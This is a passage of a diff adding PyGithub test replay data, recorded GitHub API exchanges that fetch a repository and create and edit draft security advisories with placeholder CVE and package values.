itschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test updating a GHSA via the API", "description": "This is an updated detailed description of this advisories impact and patches.", "severity": "low", "cve_id": "CVE-2000-00001", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "c-package"}, "patched_versions": "4.0.7", "vulnerable_functions": ["function-name-a"], "vulnerable_version_range": "<=4.0.6"}], "cwe_ids": ["CWE-402", "CWE-500"], "credits": [{"login": "octocat", "type": "sponsor"}, {"login": "JLLeitschuh", "type": "reporter"}]} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"bd3e30c29eb49cefeddb7476088cb5f1705171c9c0ced3ace712a5b149797cfb"'), ('Last-Modified', 'Tue, 04 Apr 2023 13:47:38 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4947'), ('X-RateLimit-Reset', '1680617921'), ('X-RateLimit-Used', '53'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CEF8:5FB9:2ABAED:57389B:642C2A7A')] +{"ghsa_id":"GHSA-g45c-2crh-4xmp","cve_id":"CVE-2000-00001","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-g45c-2crh-4xmp","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-g45c-2crh-4xmp","summary":"A test updating a GHSA via the API","description":"This is an updated detailed description of this advisories impact and patches.","severity":"low","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-g45c-2crh-4xmp","type":"GHSA"},{"value":"CVE-2000-00001","type":"CVE"}],"state":"draft","created_at":"2023-04-04T12:46:55Z","updated_at":"2023-04-04T13:47:38Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"c-package"},"vulnerable_version_range":"<=4.0.6","patched_versions":"4.0.7","vulnerable_functions":["function-name-a"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-402","name":"Transmission of Private Resources into a New Sphere ('Resource Leak')"},{"cwe_id":"CWE-500","name":"Public Static Field Not Marked Final"}],"cwe_ids":["CWE-402","CWE-500"],"credits":[{"login":"octocat","type":"sponsor"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"sponsor","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} diff --git a/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt b/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt new file mode 100644 index 0000000000..f21a68e0ef --- /dev/null +++ b/tests/ReplayData/RepositoryAdvisory.testUpdateSingleFieldDoesNotRemoveOtherFields.txt @@ -0,0 +1,32 @@ +https +GET +api.github.com +None +/repos/JLLeitschuh/code-sandbox +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} +None +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c958ae868bcb809b020632c7d08b3898868191584e8b28520cd66fcbb15dc06e"'), ('Last-Modified', 'Fri, 07 Jan 2022 23:03:20 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4939'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '61'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DC9C:448A:546D93:AC9E31:642C4910')] +{"id":289330855,"node_id":"MDEwOlJlcG9zaXRvcnkyODkzMzA4NTU=","name":"code-sandbox","full_name":"JLLeitschuh/code-sandbox","private":false,"owner":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"html_url":"https://github.com/JLLeitschuh/code-sandbox","description":null,"fork":false,"url":"https://api.github.com/repos/JLLeitschuh/code-sandbox","forks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/forks","keys_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/keys{/key_id}","collaborators_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/teams","hooks_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/hooks","issue_events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/events{/number}","events_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/events","assignees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/assignees{/user}","branches_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/branches{/branch}","tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/tags","blobs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/refs{/sha}","trees_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/trees{/sha}","statuses_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/statuses/{sha}","languages_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/languages","stargazers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/stargazers","contributors_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contributors","subscribers_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscribers","subscription_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/subscription","commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/commits{/sha}","git_commits_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/git/commits{/sha}","comments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/comments{/number}","issue_comment_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues/comments{/number}","contents_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/contents/{+path}","compare_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/compare/{base}...{head}","merges_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/merges","archive_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/downloads","issues_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/issues{/number}","pulls_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/pulls{/number}","milestones_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/milestones{/number}","notifications_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/labels{/name}","releases_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/releases{/id}","deployments_url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/deployments","created_at":"2020-08-21T17:47:53Z","updated_at":"2022-01-07T23:03:20Z","pushed_at":"2023-03-10T16:07:28Z","git_url":"git://github.com/JLLeitschuh/code-sandbox.git","ssh_url":"git@github.com:JLLeitschuh/code-sandbox.git","clone_url":"https://github.com/JLLeitschuh/code-sandbox.git","svn_url":"https://github.com/JLLeitschuh/code-sandbox","homepage":null,"size":106,"stargazers_count":0,"watchers_count":0,"language":"Java","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":null,"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"}},"network_count":0,"subscribers_count":2} + +https +POST +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"summary": "A test editing a GHSA via the API with only a single manipulation", "description": "This is a detailed description of this advisories impact and patches.", "cve_id": "CVE-2000-00000", "vulnerabilities": [{"package": {"ecosystem": "npm", "name": "b-package"}, "patched_versions": "4.0.5", "vulnerable_functions": ["function-name"], "vulnerable_version_range": "<=4.0.4"}], "cwe_ids": ["CWE-401", "CWE-502"], "credits": [{"login": "octocat", "type": "analyst"}, {"login": "JLLeitschuh", "type": "reporter"}], "severity": "high"} +201 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Content-Length', '4114'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', '"a31f5441d8aa781166a22f0d05ea0ec8dc70e6456ff0225df5df9c0333f4bc42"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('Location', 'https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4938'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '62'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('X-GitHub-Request-Id', 'DC9D:0C65:163092:2D54B9:642C4911')] +{"ghsa_id":"GHSA-4wwp-8jp9-9233","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-4wwp-8jp9-9233","summary":"A test editing a GHSA via the API with only a single manipulation","description":"This is a detailed description of this advisories impact and patches.","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-4wwp-8jp9-9233","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T15:58:09Z","updated_at":"2023-04-04T15:58:09Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} + +https +PATCH +api.github.com +None +/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233 +{'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python', 'Content-Type': 'application/json'} +{"description": "A modified description"} +200 +[('Server', 'GitHub.com'), ('Date', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"fef308c476647908c463eda6f0aa4fe2a8f8d6f4ce1d2c6876117950e09c7ac0"'), ('Last-Modified', 'Tue, 04 Apr 2023 15:58:09 GMT'), ('X-OAuth-Scopes', 'delete_repo, gist, repo, workflow'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-06-28 17:58:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4937'), ('X-RateLimit-Reset', '1680625274'), ('X-RateLimit-Used', '63'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'DC9E:51F2:5A8119:B88754:642C4911')] +{"ghsa_id":"GHSA-4wwp-8jp9-9233","cve_id":"CVE-2000-00000","url":"https://api.github.com/repos/JLLeitschuh/code-sandbox/security-advisories/GHSA-4wwp-8jp9-9233","html_url":"https://github.com/JLLeitschuh/code-sandbox/security/advisories/GHSA-4wwp-8jp9-9233","summary":"A test editing a GHSA via the API with only a single manipulation","description":"A modified description","severity":"high","author":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"publisher":null,"identifiers":[{"value":"GHSA-4wwp-8jp9-9233","type":"GHSA"},{"value":"CVE-2000-00000","type":"CVE"}],"state":"draft","created_at":"2023-04-04T15:58:09Z","updated_at":"2023-04-04T15:58:09Z","published_at":null,"closed_at":null,"withdrawn_at":null,"submission":null,"vulnerabilities":[{"package":{"ecosystem":"npm","name":"b-package"},"vulnerable_version_range":"<=4.0.4","patched_versions":"4.0.5","vulnerable_functions":["function-name"]}],"cvss":{"vector_string":null,"score":null},"cwes":[{"cwe_id":"CWE-401","name":"Missing Release of Memory after Effective Lifetime"},{"cwe_id":"CWE-502","name":"Deserialization of Untrusted Data"}],"cwe_ids":["CWE-401","CWE-502"],"credits":[{"login":"octocat","type":"analyst"},{"login":"JLLeitschuh","type":"reporter"}],"credits_detailed":[{"user":{"login":"octocat","id":583231,"node_id":"MDQ6VXNlcjU4MzIzMQ==","avatar_url":"https://avatars.githubusercontent.com/u/583231?v=4","gravatar_id":"","url":"https://api.github.com/users/octocat","html_url":"https://github.com/octocat","followers_url":"https://api.github.com/users/octocat/followers","following_url":"https://api.github.com/users/octocat/following{/other_user}","gists_url":"https://api.github.com/users/octocat/gists{/gist_id}","starred_url":"https://api.github.com/users/octocat/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/octocat/subscriptions","organizations_url":"https://api.github.com/users/octocat/orgs","repos_url":"https://api.github.com/users/octocat/repos","events_url":"https://api.github.com/users/octocat/events{/privacy}","received_events_url":"https://api.github.com/users/octocat/received_events","type":"User","site_admin":false},"type":"analyst","state":"pending"},{"user":{"login":"JLLeitschuh","id":1323708,"node_id":"MDQ6VXNlcjEzMjM3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1323708?v=4","gravatar_id":"","url":"https://api.github.com/users/JLLeitschuh","html_url":"https://github.com/JLLeitschuh","followers_url":"https://api.github.com/users/JLLeitschuh/followers","following_url":"https://api.github.com/users/JLLeitschuh/following{/other_user}","gists_url":"https://api.github.com/users/JLLeitschuh/gists{/gist_id}","starred_url":"https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/JLLeitschuh/subscriptions","organizations_url":"https://api.github.com/users/JLLeitschuh/orgs","repos_url":"https://api.github.com/users/JLLeitschuh/repos","events_url":"https://api.github.com/users/JLLeitschuh/events{/privacy}","received_events_url":"https://api.github.com/users/JLLeitschuh/received_events","type":"User","site_admin":false},"type":"reporter","state":"accepted"}]} diff --git a/tests/ReplayData/RepositoryKey.setUp.txt b/tests/ReplayData/RepositoryKey.setUp.txt index b1ef2ba915..a2afbe3eb7 100644 --- a/tests/ReplayData/RepositoryKey.setUp.txt +++ b/tests/ReplayData/RepositoryKey.setUp.txt @@ -30,4 +30,3 @@ None 200 [('content-length', '563'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-served-by', 'a6882e5cd2513376cb9481dbcd83f3a2'), ('x-oauth-scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"6ed85d5716042ec092f92407b0bdc2c6"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4942'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D0B3:615F:8D1E3F1:A96D742:58AD4916'), ('last-modified', 'Wed, 22 Feb 2017 08:16:23 GMT'), ('date', 'Wed, 22 Feb 2017 08:17:26 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1487754126')] {"id":21870881,"key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLOoLSVPwG1OSgVSeEXNbfIofYdxR5zs3u4PryhnamfFPYwi2vZW3ZxeI1oRcDh2VEdwGvlN5VUduKJNoOWMVzV2jSyR8CeDHH+I0soQCC7kfJVodU96HcPMzZ6MuVwSfD4BFGvKMXyCnBUqzo28BGHFwVQG8Ya9gL6/cTbuWywgM4xaJgMHv1OVcESXBtBkrqOneTJuOgeEmP0RfUnIAK/3/wbg9mfiBq7JV4cmWAg1xNE8GJoAbci59Tdx1dQgVuuqdQGk5jzNusOVneyMtGEB+p7UpPLJsGBW29rsMt7ITUbXM/kl9v11vPtWb+oOUThoFsDYmsWy7fGGP9YAFB","url":"https://api.github.com/repos/lra/mackup/keys/21870881","title":"PyGithub Test Key","verified":true,"created_at":"2017-02-22T08:16:23Z","read_only":true} - diff --git a/tests/ReplayData/RepositoryKey.testDelete.txt b/tests/ReplayData/RepositoryKey.testDelete.txt index 41eaa3ab51..bac393808b 100644 --- a/tests/ReplayData/RepositoryKey.testDelete.txt +++ b/tests/ReplayData/RepositoryKey.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No 